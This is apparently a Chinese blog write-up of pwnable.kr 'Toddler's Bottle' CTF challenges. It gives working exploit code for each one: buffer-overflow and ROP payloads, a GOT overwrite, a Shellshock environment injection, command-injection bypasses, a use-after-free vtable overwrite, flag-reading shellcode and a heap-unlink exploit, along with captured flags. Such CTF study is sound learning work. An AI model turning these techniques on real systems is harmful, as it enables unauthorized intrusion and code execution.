• [Toddler's Bottle]做题记录


    fd

    Pwn:

    Reason:

    • 当fd为0的时候代表标准输入,也就是控制台,然后就可以实现buf=="LETMEWIN " 编辑了一下fd.c-->命名为1.c用来测试,gcc编译指令“gcc 1.c -o 1”
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char buf[32];
    int main(int argc, char* argv[], char* envp[]){
    	if(argc<2)
    	{
    		printf("pass argv[1] a number
    ");
    		return 0;
    	}
    	printf("%s %s
    ",argv[0],argv[1]);
    	int fd = atoi( argv[1] ) - 0x1234;
    	printf("fd:%d
    ",fd);
    	int len = 0;
    	len = read(fd, buf, 32);
    	if(!strcmp("LETMEWIN
    ", buf)){
    		printf("good job :)
    ");
    		system("/bin/cat flag");
    		exit(0);
    	}
    	printf("learn about Linux file IO
    ");
    	return 0;
    }
    

    本来是想直接传0x1234但是atoi后为0,看来atoi函数不支持十六进制

     

    collision[逻辑]

    Pwn:

    col@pwnable:~$ ./col `python -c "print 'xe8x05xd9x1d'+'x01x01x01x01'*4"`
    

    Reason:

    • hashcode = A + B + B + B + B

    • 用p32可以快速得到小端

    bof[覆盖]

    Pwn:

    import pwn
    # print(os.system('ls'))
    col = pwn.process('./bof')
    # col= pwn.remote('pwnable.kr', 9000)
    payload = 'a'*0x2c+'a'*0x8+pwn.p32(0xcafebabe)
    print(payload)
    col.sendline(payload)
    col.interactive()

    Reason:

    flag[upx]

    Pwn:

    upx是一种加密方式,解密:upx -d flag 

    Reason:

    passcode[GOt覆写]

    Pwn:

    python -c "print 'a'*96+'x00xa0x04x08'+'134514147
    '" |./passcode 

    Reason: 

    random[rand()性质]

    Pwn:

    3039230856

    Reason:

    • 随机数生成函数rand(),需要搭配动态变化种子seed,否则生成的是伪随机数。 
    • 异或运算: A^B^B=A;

     

    input[代码水平]

    Pwn:

      • https://r00tk1ts.github.io/2018/03/06/input/,下面是对师傅写的exp的解析
      • 交上去的时候发现了一个python版本exp,感觉比C跟加简洁,copy下来学习学习
    import os
    import subprocess
    import socket
    import time
    
    args = list("A"*99)
    args[ord('A')-1] = ""
    args[ord('B')-1] = "x20x0ax0d"
    args = ["./test"]+args
    print(args)
    
    # stage 1 clear
    
    stdinr, stdinw = os.pipe()
    stderrr, stderrw = os.pipe()
    os.write(stdinw, "x00x0ax00xff")
    os.write(stderrw, "x00x0ax02xff")
    
    # stage 2 clear
    
    environ = {"xdexadxbexef": "xcaxfexbaxbe"}
    
    # stage 3 clear
    
    f = open("x0a", "wb")
    f.write("x00"*4)
    f.close()
    
    # stage 4 clear
    
    args[ord('C')-1] = "8888"
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ)
    
    time.sleep(2)
    s.connect(("127.0.0.1", 8888))
    s.send("xdexadxbexef")
    s.close()
    View Code

    Reason:

    • step3:
      • char *getenv(const char *name) 搜索 name 所指向的环境字符串,并返回相关的值给字符串。
    • step4:
      • size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) 从给定流 stream 读取数据到 ptr 所指向的数组中。成功读取的元素总数会以 size_t 对象返回。
        • ptr -- 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针。
        • size -- 这是要读取的每个元素的大小,以字节为单位。
        • nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
        • stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。
      •  int memcmp(const void *str1, const void *str2, size_t n)) 把存储区 str1 和存储区 str2 的前 n 个字节进行比较。
        • 如果返回值 < 0,则表示 str1 小于 str2。
        • 如果返回值 > 0,则表示 str2 小于 str1。
        • 如果返回值 = 0,则表示 str1 等于 str2。
    • step5:
      • struct sockaddr_in:   一个用来指定IP地址和端口号的结构体, 该结构体所有成员的字序为网络字序,低字节在前,高字节在后
        • family // 即address family,如AF_INET
        • port // 端口号(注意要按位倒序,使用htons函数)
        • sin_addr.S_un.S_addr    // 一个为long类型的ip地址
      • int socket(int domain,int type,int protocol);    建立一个socket用于连接,当套接字创建成功时,返回套接字,失败返回“-1”
        • domain:套接子要使用的协议簇,协议簇的在“linux/socket.h”里有详细定义,AF_INET(TCP/IP – IPv4)
        • type:连接类型,SOCK_STREAM(TCP)
        • protocol:协议类型,当确定套接字使用的协议簇和类型时,这个参数的值就为0
      • htons()是将整数在地址空间存储方式变为高位字节存放在内存的低地址处
      • INADDR_ANY:0.0.0.0
      • int bind(int socket, const struct sockaddr *address, socklen_t address_len);将address指向的sockaddr结构体中描述的一些属性(IP地址、端口号、地址簇)与socket套接字绑定。
      • int accept(int sockfd,struct sockaddr *addr,socklen_t *addrlen);接收一个套接字中已建立的连接。成功时,返回非负整数,该整数是接收到套接字的描述符;出错时,返回-1,相应地设定全局变量errno。
        • sockfd:利用系统调用socket()建立的套接字描述符
        • addr:指向struct sockaddr的指针,该结构用通讯层服务器对等套接字的地址
        • addrlen:一个值结果参数,调用函数必须初始化为包含addr所指向结构大小的数值
      • int recv( SOCKET s,char* buf,int len,int flags);
        • len:指明buf长
        • flags:一般置0

     leg[asm]

    Pwn:

    • key = 108400

    Reason:

    mistake[逻辑] 

    Pwn:

    • 0000000000 ^ 1111111111 = 1111111111

    Reason:

    • < 优先级大于 =
    • int strncmp(const char *str1, const char *str2, size_t n), 相等返回0,str1<str2 返回<0 ,str1>str2 返回>0
      • str1 :要进行比较的第一个字符串。

      • str2 :要进行比较的第二个字符串。

      • n :要比较的最大字符数

    • int open(const char *pathname, int oflag, ... /* mode_t mode */);

      • oflag参数:
        • O_RDONLY:只读打开
        • O_WRONLY:只写打开
        • O_RDWR:读写打开

     

    shellshock[破壳漏洞]

    Pwn:

    • env x='() { :;}; bash -c "cat flag" ' ./shellshock

    Reason:

     

    mistake[二分查找]

    Pwn:

    # coding=utf-8
    from pwn import *
    def Search(l,r):
        m = (l + r) / 2
        payload = ' '.join([str(i) for i in range(l,m+1)])
        cin.sendline(payload)
        cout=cin.recvline()
        if 'Correct!' not in cout:
            if int(cout) == 10 *(m-l+1):
                Search(m+1,r)
            else:
                Search(l,m)
        else:
            print '猜对了',payload
            return
    
    def guess(i):
        data = cin.recvline()
        print '>>%d :%s ' % (i,data)
        start = re.search("N=(d*) C=(d*)", data)
        N = int(start.group(1))
        C = int(start.group(2))
        if pow(2,C)<N:
            exit()
        Search(0,N)
    
    if __name__ == '__main__':
        cin = remote('0.0.0.0', 9007)
        # cin = remote('pwnable.kr', 9007)
        print cin.recv()
        sleep(4)
    
        for i in range(101):
            if i==100:
                context.log_level='debug'
            guess(i)
    View Code

    Reason:

    • 最后要加一个contet.leve_log='debug':脚本在执行时就会输出debug的信息,你可以通过观察这些信息查找哪步出错了   

     

    blackjack[逻辑]

    Pwn:

    • 第一次输入大于500,第二次输入100万,第三回赢一局

    Reason:

    lotto

    Pwn:

    • 输入的六个字符的asill在1-45
    from pwn import *
    # context.log_level='debug'
    s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
    pro = s.process('/home/lotto/lotto')
    i=0
    pro.sendline('1')
    print(pro.recv().decode('utf-8'))
    while 1:
        i+=1
        str1 = b"######"
        pro.sendline(str1)
        pro.recvuntil('Lotto Start!
    ')
        revcstr =  pro.recvline()
        print(">>Time",i,revcstr.decode('utf-8'))
        if 'bad luck...' not in revcstr.decode('utf-8'):
            print(revcstr.decode('utf-8'))
            break
        print(pro.recvuntil('3. Exit
    ').decode('utf-8'))
        pro.sendline('1')
    View Code

    Reason:

    cmd1[绕过]

    Pwn:

    • ./cmd1 '/bin/cat fl*'

    Reason:

    • 绕过

    cmd2[$()]

    Pwn:

    • cmd2@pwnable:/$ home/cmd2/cmd2 '"tmp$(pwd)lao$(pwd)q"'
    cmd2@pwnable:/$ cat /tmp/lao/q
    /bin/cat /home/cmd2/flag
    cmd2@pwnable:/$ 

    Reason:

    uaf[cpp-vtable]

    Pwn:

    uaf@pwnable:~$ python -c "print 'x48x15x40x00x00x00x00x00'">/tmp/eo
    uaf@pwnable:~$ ./uaf 24 /tmp/eo
    1. use
    2. after
    3. free
    3
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    1
    Segmentation fault (core dumped)
    uaf@pwnable:~$ ./uaf 24 /tmp/eo
    1. use
    2. after
    3. free
    3
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    1
    $ cat flag
    yay_f1ag_aft3r_pwning

    Reason:

    • 在看了R_1v3r师傅的博客后自己尝试着用woman来getshell,第一次执行2,成功从woman拿到getshell函数,但是还是需要再一次分配给man,不然在执行1的时候man是空的,程序出错
    • 由于是64位的程序,后面的exp需要写满4字节

    blukat[文件权限]

    Pwn:

    blukat@pwnable:~$ ./blukat 
    guess the password!
    cat: password: Permission denied
    congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

    Reason:

    • Linux文件权限:

      • 左三位:表示文件所有者的权限。

      • 中三位:表示文件所有组的权限。

      • 右三位:表示其他人的权限。

    • 这题也太狗了,还以为自己遇到了盲点,结果嗨~
    blukat@pwnable:~$ id
    uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)
    
    -rw-r-----   1 root blukat_pwn   33 Jan  6  2017 password
    

    memcpy[字节对齐]

    Pwn:

    Reason:

    • movntps在进行cpy的时候要求16位字节对齐,16字节对齐的意思就是地址的末位必须为0
    • malloc在分配内存时它实际上还会多分配4字节用于存储堆块 信息,所以如果分配a字节实际上分配的是a+4字节。另外32位系统上该函数分配的内存是以8字节对齐的
    • 【learn】

    asm[shellcode编写]

    Pwn:

    from pwn import *
    context(arch='amd64', os='linux') # 重要
    lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='asm')
    lao = lao1ao.connect_remote('0.0.0.0',9026)
    payload=shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
    payload+=shellcraft.read(3,'rsp',100)
    payload+=shellcraft.write(1,'rsp',100)
    lao.recvuntil("give me your x64 shellcode: ")
    lao.send(asm(payload))
    print(lao.recvline().decode('utf-8'))

    Reason:

    horcruxes[ROP]

    Pwn:

    from pwn import *
    context.log_level='debug'
    context(arch='amd64', os='linux') # 重要
    lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='horcruxes')
    lao = lao1ao.connect_remote('0.0.0.0',9032)
    # 先执行ABCDEFG通过print得到他的值,然后后执行ropme执行else
    payload= b'A' * 0x78 + p32(0x809fe4b)+ p32(0x809fe6a) + p32(0x809fe89)+ p32(0x809fea8)+ p32(0x809fec7)+ p32(0x809fee6)+ p32(0x809ff05)+ p32(0x809fffc)
    lao.recvuntil("Select Menu:")
    lao.sendline("1")
    lao.recvuntil("? : ")
    lao.sendline(payload)
    sum=0
    lao.recvuntil("Voldemort
    ")# You'd better get more experience to kill Voldemort
    for i in range(7):
            lao.recvuntil("EXP +")
            sum+=int(lao.recvuntil(")")[:-1].decode('utf-8'))
            lao.recvuntil("
    ")
    # 第二轮
    lao.recvuntil("Select Menu:")
    lao.sendline("1")
    lao.recvuntil("? : ")
    lao.sendline(str(sum))
    lao.recvall()

    Reason:

    • gets()接受输入,直到stdin收到0x0a或EOF,所以无法直接跳转到open()

    unlink[heap overflow]

    Pwn:

    from pwn import *
    
    shell_addr = 0x080484eb
    context.log_level='debug'
    s =  ssh(host='pwnable.kr',port=2222, user='unlink',password='guest')
    p = s.process("./unlink")
    p.recvuntil("here is stack address leak: ")
    stack_addr = int(p.recv(10),16)
    p.recvuntil("here is heap address leak: ")
    heap_addr = int(p.recv(9),16)
    
    payload = p32(shell_addr)# A->buf
    payload += b'a'*12# A->buf(4)+B->pre_size(4)+B->size(4)
    payload += p32(stack_addr + 12) # B->fd(4)
    payload += p32(heap_addr + 12 )# B->bk(4)
    p.send(payload)
    
    p.interactive()
    

    Reason:

  • 相关阅读:
    nginx 安全请求头
    使用citus 列式存储压缩数据
    nginx ngx_http_realip 的功能以及使用
    act 的密钥&&环境变量管理
    oracle怎么查询重复的数据
    如何在Oracle中复制表结构和表数据
    2022成都.NET开发者Connect线下活动
    闭包具有逻辑内聚的功能
    编程范式是人类思维方式的投影代表了程序设计者认为程序应该如何被构建和执行的看法
    工程师是高级生产者
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/12327540.html
Copyright © 2020-2023  润新知